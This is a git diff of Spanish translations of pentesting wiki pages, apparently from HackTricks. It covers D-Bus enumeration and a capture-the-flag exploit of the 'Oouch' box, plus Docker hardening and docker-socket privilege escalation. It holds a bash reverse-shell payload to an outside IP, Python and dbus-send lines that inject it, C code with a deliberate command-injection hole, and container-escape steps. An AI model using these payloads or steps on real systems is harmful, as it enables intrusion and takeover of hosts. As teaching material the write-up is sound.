cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` - ### List Interfaces of a Service Object -You need to have enough permissions. - +Necesitas tener suficientes permisos. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` - ### Introspect Interface of a Service Object -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +Nota cómo en este ejemplo se seleccionó la última interfaz descubierta utilizando el parámetro `tree` (_ver sección anterior_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -159,59 +150,51 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +Nota el método `.Block` de la interfaz `htb.oouch.Block` (el que nos interesa). La "s" de las otras columnas puede significar que se espera una cadena. -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### Interfaz de Monitoreo/Captura -### Monitor/Capture Interface +Con suficientes privilegios (solo los privilegios `send_destination` y `receive_sender` no son suficientes) puedes **monitorear una comunicación D-Bus**. -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +Para **monitorear** una **comunicación** necesitarás ser **root.** Si aún encuentras problemas siendo root, consulta [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) y [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) > [!WARNING] -> If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! - -Different ways to monitor: +> Si sabes cómo configurar un archivo de configuración de D-Bus para **permitir a usuarios no root espiar** la comunicación, por favor **contáctame**! +Diferentes formas de monitorear: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +En el siguiente ejemplo, la interfaz `htb.oouch.Block` es monitoreada y **se envía el mensaje "**_**lalalalal**_**" a través de una mala comunicación**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +Puedes usar `capture` en lugar de `monitor` para guardar los resultados en un archivo pcap. -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### Filtrando todo el ruido +Si hay demasiada información en el bus, pasa una regla de coincidencia así: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +Se pueden especificar múltiples reglas. Si un mensaje coincide con _cualquiera_ de las reglas, el mensaje se imprimirá. Así: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -219,83 +202,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +Consulta la [documentación de D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para más información sobre la sintaxis de las reglas de coincidencia. -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### Más -### More +`busctl` tiene aún más opciones, [**encuentra todas aquí**](https://www.freedesktop.org/software/systemd/man/busctl.html). -`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **Escenario Vulnerable** +Como usuario **qtc dentro del host "oouch" de HTB**, puedes encontrar un **archivo de configuración de D-Bus inesperado** ubicado en _/etc/dbus-1/system.d/htb.oouch.Block.conf_: ```xml +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +Nota de la configuración anterior que **necesitarás ser el usuario `root` o `www-data` para enviar y recibir información** a través de esta comunicación D-BUS. -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +Como usuario **qtc** dentro del contenedor docker **aeb4525789d8** puedes encontrar algo de código relacionado con dbus en el archivo _/code/oouch/routes.py._ Este es el código interesante: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +Como puedes ver, está **conectándose a una interfaz D-Bus** y enviando a la **función "Block"** la "client_ip". -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +En el otro lado de la conexión D-Bus hay un binario compilado en C en ejecución. Este código está **escuchando** en la conexión D-Bus **por direcciones IP y está llamando a iptables a través de la función `system`** para bloquear la dirección IP dada.\ +**La llamada a `system` es vulnerable a propósito a la inyección de comandos**, por lo que una carga útil como la siguiente creará un shell inverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### Explótalo +Al final de esta página puedes encontrar el **código C completo de la aplicación D-Bus**. Dentro de él puedes encontrar entre las líneas 91-97 **cómo se registran el `D-Bus object path`** **y el `interface name`**. Esta información será necesaria para enviar información a la conexión D-Bus: ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +Además, en la línea 57 puedes encontrar que **el único método registrado** para esta comunicación D-Bus se llama `Block`(_**Por eso en la siguiente sección los payloads se enviarán al objeto de servicio `htb.oouch.Block`, la interfaz `/htb/oouch/Block` y el nombre del método `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +El siguiente código de python enviará la carga útil a la conexión D-Bus al método `Block` a través de `block_iface.Block(runme)` (_nota que fue extraído del bloque de código anterior_): ```python import dbus bus = dbus.SystemBus() @@ -305,24 +278,20 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` - -#### busctl and dbus-send - +#### busctl y dbus-send ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +- `dbus-send` es una herramienta utilizada para enviar mensajes al “Message Bus” +- Message Bus – Un software utilizado por los sistemas para facilitar la comunicación entre aplicaciones. Está relacionado con Message Queue (los mensajes están ordenados en secuencia), pero en Message Bus los mensajes se envían en un modelo de suscripción y también de manera muy rápida. +- La etiqueta “-system” se utiliza para mencionar que es un mensaje del sistema, no un mensaje de sesión (por defecto). +- La etiqueta “–print-reply” se utiliza para imprimir nuestro mensaje adecuadamente y recibir cualquier respuesta en un formato legible por humanos. +- “–dest=Dbus-Interface-Block” La dirección de la interfaz Dbus. +- “–string:” – Tipo de mensaje que nos gustaría enviar a la interfaz. Hay varios formatos para enviar mensajes como double, bytes, booleans, int, objpath. De estos, el “object path” es útil cuando queremos enviar una ruta de un archivo a la interfaz Dbus. Podemos usar un archivo especial (FIFO) en este caso para pasar un comando a la interfaz en nombre de un archivo. “string:;” – Esto es para llamar nuevamente al object path donde colocamos el archivo/comando de shell inverso FIFO. -- `dbus-send` is a tool used to send message to “Message Bus” -- Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -- “-system” tag is used to mention that it is a system message, not a session message (by default). -- “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -- “–dest=Dbus-Interface-Block” The address of the Dbus interface. -- “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. - -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ +_Tenga en cuenta que en `htb.oouch.Block.Block`, la primera parte (`htb.oouch.Block`) hace referencia al objeto del servicio y la última parte (`.Block`) hace referencia al nombre del método._ ### C code - ```c:d-bus_server.c //sudo apt install pkgconf //sudo apt install libsystemd-dev @@ -336,135 +305,134 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { +fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` - -## References +## Referencias - [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index f44be9b56..c229b82d4 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -76,7 +76,7 @@ La firma de imágenes de Docker garantiza la seguridad e integridad de las imág - Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada por defecto en Docker versión 1.10 y posteriores. - Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también soportando Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest". -- Para los envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen. +- Para envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen. Para respaldar tus claves privadas, utiliza el comando: ```bash @@ -102,7 +102,7 @@ En entornos contenedorizados, aislar proyectos y sus procesos es fundamental par **Grupos de Control (CGroups)** -- **Función**: Utilizados principalmente para asignar recursos entre procesos. +- **Función**: Principalmente utilizados para asignar recursos entre procesos. - **Aspecto de Seguridad**: Los CGroups en sí no ofrecen seguridad de aislamiento, excepto por la característica `release_agent`, que, si está mal configurada, podría ser explotada para acceso no autorizado. **Caída de Capacidades** @@ -166,7 +166,7 @@ cgroups.md ### Capacidades -Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario. +Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario. Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar: @@ -195,7 +195,7 @@ apparmor.md - **Sistema de Etiquetado**: SELinux asigna una etiqueta única a cada proceso y objeto del sistema de archivos. - **Aplicación de Políticas**: Aplica políticas de seguridad que definen qué acciones puede realizar una etiqueta de proceso sobre otras etiquetas dentro del sistema. - **Etiquetas de Proceso de Contenedor**: Cuando los motores de contenedores inician procesos de contenedor, generalmente se les asigna una etiqueta SELinux confinada, comúnmente `container_t`. -- **Etiquetado de Archivos dentro de Contenedores**: Los archivos dentro del contenedor suelen etiquetarse como `container_file_t`. +- **Etiquetado de Archivos dentro de Contenedores**: Los archivos dentro del contenedor suelen estar etiquetados como `container_file_t`. - **Reglas de Política**: La política de SELinux asegura principalmente que los procesos con la etiqueta `container_t` solo puedan interactuar (leer, escribir, ejecutar) con archivos etiquetados como `container_file_t`. Este mecanismo asegura que incluso si un proceso dentro de un contenedor se ve comprometido, está confinado a interactuar solo con objetos que tienen las etiquetas correspondientes, limitando significativamente el daño potencial de tales compromisos. @@ -319,11 +319,11 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue {% embed url="https://katacontainers.io/" %} -### Resumen de Consejos +### Consejos Resumidos -- **No utilice la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`. +- **No use la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`. - **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está solo ligeramente restringido por, principalmente, namespaces de Linux, capacidades y cgroups. -- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan ninguna capacidad y agregarlas aumenta el alcance de un posible ataque. +- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque. - [**Utilice la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid. - [**Limite los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio. - **Ajuste** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(o SELinux)** perfiles para restringir las acciones y syscalls disponibles para el contenedor al mínimo requerido. @@ -373,4 +373,5 @@ Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un con - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 4d1d845df..d62718312 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,16 +1,16 @@ -# Abusando del Socket de Docker para la Escalación de Privilegios +# Abusing Docker Socket for Privilege Escalation {{#include ../../../banners/hacktricks-training.md}} Hay algunas ocasiones en las que solo tienes **acceso al socket de docker** y quieres usarlo para **escalar privilegios**. Algunas acciones pueden ser muy sospechosas y es posible que desees evitarlas, así que aquí puedes encontrar diferentes flags que pueden ser útiles para escalar privilegios: -### A través de mount +### Via mount Puedes **montar** diferentes partes del **sistema de archivos** en un contenedor que se ejecuta como root y **acceder** a ellas.\ También podrías **abusar de un mount para escalar privilegios** dentro del contenedor. - **`-v /:/host`** -> Monta el sistema de archivos del host en el contenedor para que puedas **leer el sistema de archivos del host.** -- Si quieres **sentirte como si estuvieras en el host** pero estando en el contenedor, podrías deshabilitar otros mecanismos de defensa usando flags como: +- Si quieres **sentirte como si estuvieras en el host** pero estando en el contenedor, podrías desactivar otros mecanismos de defensa usando flags como: - `--privileged` - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -25,16 +25,16 @@ También podrías **abusar de un mount para escalar privilegios** dentro del con - **`-v /tmp:/host`** -> Si por alguna razón solo puedes **montar algún directorio** del host y tienes acceso dentro del host. Móntalo y crea un **`/bin/bash`** con **suid** en el directorio montado para que puedas **ejecutarlo desde el host y escalar a root**. > [!NOTE] -> Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta escribible diferente**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null` +> Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta diferente escribible**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null` > > **¡Ten en cuenta que no todos los directorios en una máquina linux soportarán el bit suid!** Para verificar qué directorios soportan el bit suid ejecuta `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no soportan el bit suid. > > También ten en cuenta que si puedes **montar `/etc`** o cualquier otra carpeta **que contenga archivos de configuración**, puedes cambiarlos desde el contenedor de docker como root para **abusar de ellos en el host** y escalar privilegios (quizás modificando `/etc/shadow`) -### Escapando del contenedor +### Escaping from the container - **`--privileged`** -> Con este flag [eliminamos toda la aislamiento del contenedor](docker-privileged.md#what-affects). Consulta técnicas para [escapar de contenedores privilegiados como root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Para [escalar abusando de capacidades](../linux-capabilities.md), **concede esa capacidad al contenedor** y deshabilita otros métodos de protección que puedan impedir 